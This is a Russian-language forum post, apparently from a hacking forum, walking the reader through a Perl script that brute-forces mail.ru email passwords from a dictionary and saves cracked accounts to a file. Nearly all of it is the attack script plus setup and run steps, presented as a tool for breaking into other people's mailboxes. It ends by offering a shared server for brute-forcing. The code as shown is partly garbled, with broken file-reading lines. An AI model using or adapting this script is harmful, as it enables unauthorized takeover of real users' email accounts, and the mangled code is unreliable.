Взломать аккаунт на mail.ru довольно просто, самый простой способ это перебор паролей по словарю)
Данный брут написан на языке Perl поэтому перед тем как читать дальше скачайте и установите Active Perl по адресу
http://www.activestate.com/activeperl/
Сделано? Отлично...
Теперь создайте отдельную папку в которой будем создавать скрипт и создайте в этой папке пустые файлы перечисленные ниже:
code:
brute-mail.txt
mail.txt
pass.txt
log.txt
Теперь в файл mail.txt напишите встолбик адреса мыл на мэил ру которые необходимо ломануть
В файл pass.txt поместите словарь для брута - в столбик слова или цифры по которым будем подбирать.
Теперь в этой же папке создайте пустой текстовый файл и поместите в него код написанный ниже:
Код:
source:
Код:
#!/usr/bin/perl
use
LWP::UserAgent;
print
"########## GeNoM- mail.ru bruter v 1.3 ###############\n"
;
my
$ua = LWP::UserAgent->new(
max_size =>
1024
,
agent =>
'kakep brayzer v 9.1.1'
,
timeout =>
30
,
);
$set=
0
;
$setall=
0
;
open
email,
") {
$mails=~
s/\n//
;
# убираем символ конца строки
($login,$domain)=
split
(
/\@/
,$mails);
# разбираем мыло на логин и домен
if
($log==
1
){
open
logg,
">>log.txt"
;
print
logg
"-----Start brute-->$login\@$domain\n"
;
close
logg;}
open
pass,
"$login\@$domain\n\n"
;
open
logg,
">>log.txt"
;
print
logg
"\n-----Start brute-->$login\@$domain\n\n"
;
close
logg;
while
($password=) {
$password=~
s/\n//
;
# убираем символ конца строки
my
$req = HTTP::Request->new(
POST =>
'http://win.mail.ru/cgi-bin/auth'
);
$req->content(
"page=&post=&login_from=http://mail.ru/&Login=$login&Domain=$domain&Password=$password"
);
$req->referer(
'http://win.mail.ru/cgi-bin/auth'
);
my
$res = $ua->request($req);
$yda4a=$res->as_string;
if
($yda4a=~
m/500 Can't connect/
==
1
) {
print
"$yda4a\n"
;
exit
;}
# выводим текущее состояние брута
if
($set==$setting){$time=
localtime
;$time=
substr
($time,
4
,
15
);
print
"Send pass->$password Bcego proBepeHo-->$setall Time-->$time\n"
;
open
logg,
">>log.txt"
;$time=
localtime
;$time=
substr
($time,
4
,
15
);
print
logg
"Send pass->$password Bcego proBepeHo-->$setall Time-->$time\n"
;
close
logg;$set=
0
;}
if
($yda4a=~
m/checkcookie/
==
1
) {
print
"For $login\@$domain password->$password\n"
;
open
brut,
">>brute-mail.txt"
;
print
brut
"$login\@$domain password->$password\n"
;
close
brut;
open
logg,
">>log.txt"
;
print
logg
"For $login\@$domain password->$password\n"
;
close
logg;
goto
nashol;}
$set++;
$setall++;
}
nashol:
close
pass;
}
close
email;
Переименуйте этот файл на mail-ru.pl
Все, брутфорс готов!
Двойным щелчком запустите mail-ru.pl и в появившемся окне наблюдайте за ходом бручения.
В файле log.txt будет фиксироваться отчет, а в файле brute-mail.txt будут появляться взломанные мыла.
вот дедик для брута только есть просьба не меняйте пароля создайте себе учётку и пользуйтесь
Hide:
Чтобы просмотреть данный текст, авторизуйтесь на форуме.